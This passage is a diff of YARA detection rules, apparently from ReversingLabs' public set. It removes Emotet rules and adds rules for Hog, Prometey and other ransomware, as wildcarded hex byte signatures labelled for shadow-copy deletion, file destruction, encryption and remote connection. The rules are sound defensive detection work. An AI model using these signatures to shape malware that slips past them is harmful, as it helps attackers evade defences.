53 56 FF D0 8A D8 84 + DB 75 ?? 56 E8 ?? ?? ?? ?? 59 32 C0 EB ?? 8B 4D ?? B0 ?? 89 71 ?? 5B 5E 5D C3 } - $destroy_files_p1 = { - 48 89 5C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 - 33 C4 48 89 44 24 ?? 4D 8B E9 4D 8B E0 4C 8B F9 48 63 BC 24 ?? ?? ?? ?? 33 F6 89 74 - 24 ?? 48 8B 05 ?? ?? ?? ?? 48 FF C0 48 89 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 B8 - ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 E9 48 C1 FA ?? 48 8B C2 48 C1 E8 ?? 48 03 D0 48 69 C2 - ?? ?? ?? ?? 48 3B C8 75 ?? 4C 8B 05 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8D 0D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 C1 E3 ?? 33 D2 49 8B C4 49 F7 F5 48 - 8B E8 48 2B EB 83 FF ?? 7E ?? 48 8D 47 ?? 48 0F AF C3 33 D2 49 F7 F4 EB ?? 48 8B D6 - 45 33 C0 49 8B CF E8 ?? ?? ?? ?? 49 8B CF E8 ?? ?? ?? ?? 48 63 C8 49 3B CC 0F 87 ?? - ?? ?? ?? 49 8B C4 48 2B C1 49 8B FC 48 2B F9 48 3B D8 48 0F 42 FB 48 8B CF E8 ?? ?? - ?? ?? 48 89 44 24 ?? 0F 57 C0 4C 63 F7 F3 0F 7F 44 24 ?? 48 89 74 24 ?? 85 FF 74 ?? - 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 4C 3B F0 0F 87 ?? ?? ?? ?? 49 81 FE ?? ?? ?? ?? 72 + $encrypt_files_p1 = { + 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 83 + FF ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 0B 45 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 48 ?? 8B 40 + ?? 83 C1 ?? 03 C1 8B 5D ?? 89 5D ?? 8B 4D ?? 89 4D ?? 99 03 D8 89 5D ?? 13 CA 89 4D + ?? 8B 55 ?? 8B 45 ?? 85 D2 7C ?? 7F ?? 3D ?? ?? ?? ?? 76 ?? 89 75 ?? EB ?? 83 65 ?? + ?? 85 D2 7C ?? 7F ?? 3D ?? ?? ?? ?? 76 ?? 89 75 ?? EB ?? 83 65 ?? ?? C7 45 ?? ?? ?? + ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 59 89 4D ?? 51 + 52 50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 8B 4D ?? 6A ?? 53 51 6A ?? 6A ?? 57 FF 15 ?? + ?? ?? ?? 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? + ?? ?? 89 45 ?? 89 45 ?? 33 C9 8B C1 89 45 ?? 89 45 ?? 89 4D ?? 89 4D ?? 89 45 ?? 89 + 45 ?? 89 4D ?? 8B 4D ?? FF 71 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? FF 71 ?? FF 71 ?? 8D 41 ?? 50 + FF 71 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B 55 ?? 85 C0 } - $destroy_files_p2 = { - 49 8D 4E ?? 49 3B CE 0F 86 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 48 85 C0 0F 84 ?? ?? - ?? ?? 48 83 C0 ?? 48 83 E0 ?? 48 89 48 ?? EB ?? 49 8B CE E8 ?? ?? ?? ?? 48 89 44 24 - ?? 4A 8D 1C 30 48 89 5C 24 ?? 4D 8B C6 33 D2 48 8B C8 E8 ?? ?? ?? ?? 48 89 5C 24 ?? - C7 44 24 ?? ?? ?? ?? ?? 85 FF 7E ?? 48 8B DE 44 8B F7 66 0F 1F 44 00 ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 88 04 0B 48 8D 5B ?? 49 83 EE ?? 75 ?? 4D 85 ED 7E - ?? 4D 8B CF 41 B8 ?? ?? ?? ?? 48 8B D7 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 49 8B CF E8 ?? - ?? ?? ?? 48 63 C8 48 8D 04 29 48 03 C7 49 3B C4 76 ?? 49 8B FC 48 2B F9 48 2B FD 48 - 85 FF 7E ?? 41 B8 ?? ?? ?? ?? 48 8B D5 49 8B CF E8 ?? ?? ?? ?? FF C6 48 63 C6 49 3B - C5 7C ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8B 4C 24 ?? 48 85 C9 74 ?? 48 8B 54 24 - ?? 48 2B D1 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 - 83 C0 ?? 48 83 F8 ?? 77 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ?? ?? 48 - 8B 9C 24 ?? ?? ?? ?? 48 83 C4 ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D C3 + $encrypt_files_p2 = { + 75 ?? 89 55 ?? 21 45 ?? 8B CE 89 4D ?? 89 4D ?? EB ?? 8B 4D ?? 3B 4D ?? 0F 8D ?? ?? + ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 85 C9 74 ?? 83 7D ?? ?? 74 ?? 8D 41 ?? 3B 45 ?? 74 ?? + 8B C1 99 FF 75 ?? FF 75 ?? 52 50 E8 ?? ?? ?? ?? 8B C8 89 45 ?? C7 45 ?? ?? ?? ?? ?? + EB ?? 8B CA 81 E9 ?? ?? ?? ?? 89 4D ?? 8B 55 ?? 83 DA ?? 83 65 ?? ?? 89 55 ?? 6A ?? + 8B 45 ?? FF 70 ?? 52 51 E8 ?? ?? ?? ?? 6A ?? 8B 4D ?? FF 71 ?? 52 50 E8 ?? ?? ?? ?? + 8B C8 89 4D ?? 89 55 ?? 8B 45 ?? 2B C1 89 45 ?? 8B 4D ?? 1B CA 89 45 ?? 89 4D ?? EB + ?? 8B 55 ?? 8B C2 C1 F8 ?? FF 75 ?? FF 75 ?? 52 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? + 89 45 ?? 85 C0 75 ?? 50 FF 75 ?? FF 75 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? + ?? ?? 8B 75 ?? 8B 7D ?? 83 4D ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45 + ?? E8 ?? ?? ?? ?? C3 03 45 ?? 56 6A ?? 8D 4D ?? 51 50 FF 75 ?? 50 6A ?? 6A ?? 8D 85 + ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 45 ?? 40 + 89 45 ?? 3B 45 ?? 75 ?? 8B 75 ?? FF 76 ?? FF 76 ?? 8B 45 ?? 03 45 ?? 03 45 ?? 50 E8 + ?? ?? ?? ?? FF 76 ?? FF 76 ?? 8B 46 ?? 03 45 ?? 03 45 ?? 03 45 ?? 50 E8 ?? ?? ?? ?? + 83 C4 ?? 8B 7E ?? 03 7E ?? 03 7D ?? 03 7D ?? 8B 45 ?? 03 F8 8D 75 ?? A5 A5 A5 A5 6A + ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 F6 46 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 89 4D + ?? 8B 55 ?? 8B 45 ?? E9 ?? ?? ?? ?? 53 8B 35 ?? ?? ?? ?? FF D6 } condition: - uint16( 0 ) == 0x5A4D and ( all of ( $delete_shadow_copies_p* ) ) and ( all of ( $destroy_files_p* ) ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $create_key ) and ( all of ( $encrypt_files_p* ) ) } -rule REVERSINGLABS_Win32_Trojan_Emotet : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Hog : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Emotet trojan." + description = "Yara rule that detects Hog ransomware." author = "ReversingLabs" - id = "9742743d-753a-582b-9701-7278c8ed0e4e" - date = "2020-06-26" - modified = "2021-11-16" + id = "b4f26acf-5ff1-5c49-8cfa-8f619af84efd" + date = "2021-10-12" + modified = "2021-10-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.Emotet.yara#L1-L182" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Hog.yara#L1-L70" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "747d603c9849a66782c95050a4a634ffdb4ce2882adcfc5d63e1f1ea1651b25e" + logic_hash = "c5cbc79fee9083ed3befa6b0d348f2d38064bb9012b8f0ca11afd7137243866d" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Trojan" - tc_detection_name = "Emotet" + tc_detection_type = "Ransomware" + tc_detection_name = "Hog" tc_detection_factor = 5 importance = 25 strings: - $decrypt_resource_v1 = { - 55 8B EC 83 EC ?? 53 8B D9 8B C2 56 57 89 45 ?? 8B 3B 33 F8 8B C7 89 7D ?? 83 E0 ?? - 75 ?? 8D 77 ?? EB ?? 8B F7 2B F0 83 C6 ?? 8D 0C 36 E8 ?? ?? ?? ?? 8B D0 89 55 ?? 85 - D2 74 ?? 83 65 ?? ?? 8D 43 ?? 83 65 ?? ?? C1 EE ?? 8D 0C B0 8B F2 8B D9 2B D8 83 C3 - ?? C1 EB ?? 3B C1 0F 47 5D ?? 85 DB 74 ?? 8B 55 ?? 8B F8 8B 0F 8D 7F ?? 33 CA 0F B6 - C1 66 89 06 8B C1 C1 E8 ?? 8D 76 ?? 0F B6 C0 66 89 46 ?? C1 E9 ?? 0F B6 C1 66 89 46 - ?? C1 E9 ?? 0F B6 C1 66 89 46 ?? 8B 45 ?? 40 89 45 ?? 3B C3 72 ?? 8B 7D ?? 8B 55 ?? - 33 C0 66 89 04 7A 5F 5E 8B C2 5B 8B E5 5D C3 - } - $generate_filename_v1 = { - 56 57 33 C0 BF ?? ?? ?? ?? 57 50 50 6A ?? 50 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8B F0 56 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? - ?? 83 C4 ?? 8B CE 5F 5E E9 + $generate_key = { + 73 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 1A 8D ?? ?? ?? ?? 0C 2B ?? 07 08 6F ?? ?? ?? ?? 08 + 16 28 ?? ?? ?? ?? 0D 06 72 ?? ?? ?? ?? 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 5E 28 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 26 02 25 17 59 10 ?? 16 30 ?? 06 6F ?? ?? ?? ?? 13 ?? DE ?? 07 2C ?? + 07 6F ?? ?? ?? ?? DC 11 ?? 2A } - $decrypt_resource_v2 = { - 55 8B EC 83 EC ?? 8B 41 ?? 8B 11 33 C2 53 56 8D 71 ?? 89 55 ?? 8D 58 ?? 89 45 ?? 83 - C6 ?? F6 C3 ?? 74 ?? 83 E3 ?? 83 C3 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? - 8B C8 E8 ?? ?? ?? ?? FF D0 8D 14 1B B9 ?? ?? ?? ?? 52 6A ?? 50 E8 ?? ?? ?? ?? BA ?? - ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? FF D0 89 45 ?? 85 C0 74 ?? C1 EB ?? 8B C8 57 33 C0 8D - 14 9E 33 DB 8B FA 2B FE 83 C7 ?? C1 EF ?? 3B F2 0F 47 F8 85 FF 74 ?? 8B 16 8D 49 ?? - 33 55 ?? 8D 76 ?? 0F B6 C2 43 66 89 41 ?? 8B C2 C1 E8 ?? 0F B6 C0 66 89 41 ?? C1 EA - ?? 0F B6 C2 66 89 41 ?? C1 EA ?? 0F B6 C2 66 89 41 ?? 3B DF 72 ?? 8B 45 ?? 33 D2 8B - 4D ?? 5F 66 89 14 41 8B C1 5E 5B 8B E5 5D C3 + $find_files = { + 16 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 06 16 16 6F ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 00 1F + ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? + ?? ?? 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 7E ?? + ?? ?? ?? 6F ?? ?? ?? ?? 17 31 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? + ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C + 2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 2C ?? 08 6F ?? + ?? ?? ?? DC 28 ?? ?? ?? ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC DE ?? 26 28 ?? ?? ?? ?? + DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 2A } - $generate_filename_v2 = { - 55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 51 6A ?? B9 ?? ?? ?? ?? - E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? FF D0 85 C0 0F 88 ?? ?? ?? ?? 56 - B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? 8D [1-5] 51 - 51 50 56 8D [1-5] 68 ?? ?? ?? ?? 51 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B - C8 E8 ?? ?? ?? ?? FF D0 83 C4 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 - E8 ?? ?? ?? ?? FF D0 56 6A ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 - E8 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 5E 8B E5 5D C3 33 C0 8B E5 5D C3 - } - $decrypt_resource_v3 = { - 56 8B F1 BA [6-9] B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF D0 56 6A ?? 50 68 ?? ?? ?? ?? - BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF D0 5E C3 - } - $generate_filename_v3 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F1 8B FA 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? BB ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 8D 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B D3 56 50 BE ?? ?? ?? ?? [2-5] 8B CE E8 ?? - ?? ?? ?? 59 FF D0 57 8D 85 ?? ?? ?? ?? 8B D3 50 [2-5] 8B CE E8 ?? ?? ?? ?? 59 FF D0 - 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 - ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? 66 89 45 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 59 FF D0 F7 D8 5F 1B C0 5E 40 5B 8B E5 5D C3 + $encrypt_files_p1 = { + 02 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? + ?? ?? ?? 31 ?? DD ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 06 1F ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 19 + 73 ?? ?? ?? ?? 0B 02 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 08 06 6F ?? ?? ?? + ?? 17 73 ?? ?? ?? ?? 0D 08 06 6F ?? ?? ?? ?? 16 06 6F ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ?? + 07 09 6F ?? ?? ?? ?? DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC DE ?? 08 2C ?? 08 6F ?? ?? ?? + ?? DC DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 02 28 ?? + ?? ?? ?? DE ?? 26 DE ?? 2A } - $decrypt_resource_v4 = { - 56 57 8B FA E8 ?? ?? ?? ?? 8B F0 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? - ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 8B 0D ?? ?? ?? ?? - 89 44 B9 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? - 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF D0 8B F8 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? - ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 6A ?? 57 - FF D0 5F 5E C3 + $encrypt_files_p2 = { + 73 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 8D ?? ?? ?? + ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 0B + 73 ?? ?? ?? ?? 0C 08 06 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 0D 09 07 16 07 8E 69 6F ?? ?? + ?? ?? 09 6F ?? ?? ?? ?? DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 28 ?? ?? + ?? ?? 10 ?? DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? DC 02 13 ?? DE ?? 06 2C ?? 06 6F ?? ?? ?? + ?? DC 26 DE ?? 02 2A 11 ?? 2A } - $generate_filename_snippet_v4 = { - A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? - ?? ?? ?? A3 ?? ?? ?? ?? 56 53 FF D0 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 5F 5E 33 C9 8D - 04 43 66 89 08 5D 5B 59 C3 + + condition: + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $generate_key ) and ( all of ( $encrypt_files_p* ) ) +} +rule REVERSINGLABS_Win32_Ransomware_Prometey : TC_DETECTION MALICIOUS MALWARE FILE +{ + meta: + description = "Yara rule that detects Prometey ransomware." + author = "ReversingLabs" + id = "a5902fc6-2752-520f-be84-df9ea7b1e27d" + date = "2021-06-07" + modified = "2021-06-07" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Prometey.yara#L1-L156" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "f14c9605e2d375176b461fd396be66754b0ace7dcaada8ca33ad86f6eda10b73" + score = 75 + quality = 90 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Prometey" + tc_detection_factor = 5 + importance = 25 + + strings: + $remote_connection_p1 = { + 55 8D AC 24 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 + 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 85 ?? ?? ?? ?? 53 56 57 50 8D 45 ?? 64 A3 + ?? ?? ?? ?? 6A ?? 5E 8D 85 ?? ?? ?? ?? 89 75 ?? 50 BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? + ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? + E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5B 8D 4D ?? 88 5D ?? E8 ?? ?? + ?? ?? 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 + C1 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 95 ?? ?? ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? 59 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? 0F 43 8D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 + ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 33 DB 53 53 53 53 50 88 5D } - $decrypt_resource_snippet_v5 = { - C1 EE ?? 33 C0 55 33 ED 8B D3 8D 0C B7 8B F1 2B F7 83 C6 ?? C1 EE ?? 3B F9 0F 47 F0 - 85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 0F B6 C1 66 89 02 8B C1 C1 E8 ?? 8D 52 - ?? 0F B6 C0 66 89 42 ?? C1 E9 ?? 0F B6 C1 C1 E9 ?? 45 66 89 42 ?? 0F B6 C1 66 89 42 - ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 33 C9 5D 66 89 0C 43 5F 5E 8B C3 5B 83 C4 ?? - C3 + $remote_connection_p2 = { + FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 53 56 53 53 6A ?? 68 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B D8 85 DB 74 ?? 6A ?? 68 ?? ?? ?? ?? + 33 C0 50 50 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? + 33 C0 50 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 + E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? + 8D 4D ?? E8 ?? ?? ?? ?? 56 FF D7 53 FF D7 FF 75 ?? FF D7 80 7D ?? ?? 74 ?? 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8D + ?? ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 81 C5 ?? ?? ?? ?? C9 C3 8B 85 ?? ?? ?? ?? 85 C0 0F + 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ?? 8D 95 ?? ?? ?? ?? C6 84 05 ?? ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? ?? E8 } - $decrypt_resource_snippet_v6 = { - C1 EE ?? 33 C0 55 33 ED 8B D3 8D 0C B7 8B F1 2B F7 83 C6 ?? C1 EE ?? 3B F9 0F 47 F0 - 85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 88 0A 8B C1 C1 E8 ?? 8D 52 ?? C1 E9 ?? - 88 42 ?? 88 4A ?? C1 E9 ?? 45 88 4A ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 5D C6 04 - 03 ?? 5F 5E 8B C3 5B 83 C4 ?? C3 + $find_files_p1 = { + 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? + ?? BA ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? 8D 4D ?? 8B D3 C7 04 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? + 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? + ?? 33 C0 8D 7D ?? AB AB AB 33 C0 89 45 ?? 89 45 ?? 89 45 ?? C6 45 ?? ?? F6 85 ?? ?? + ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? + ?? 8D 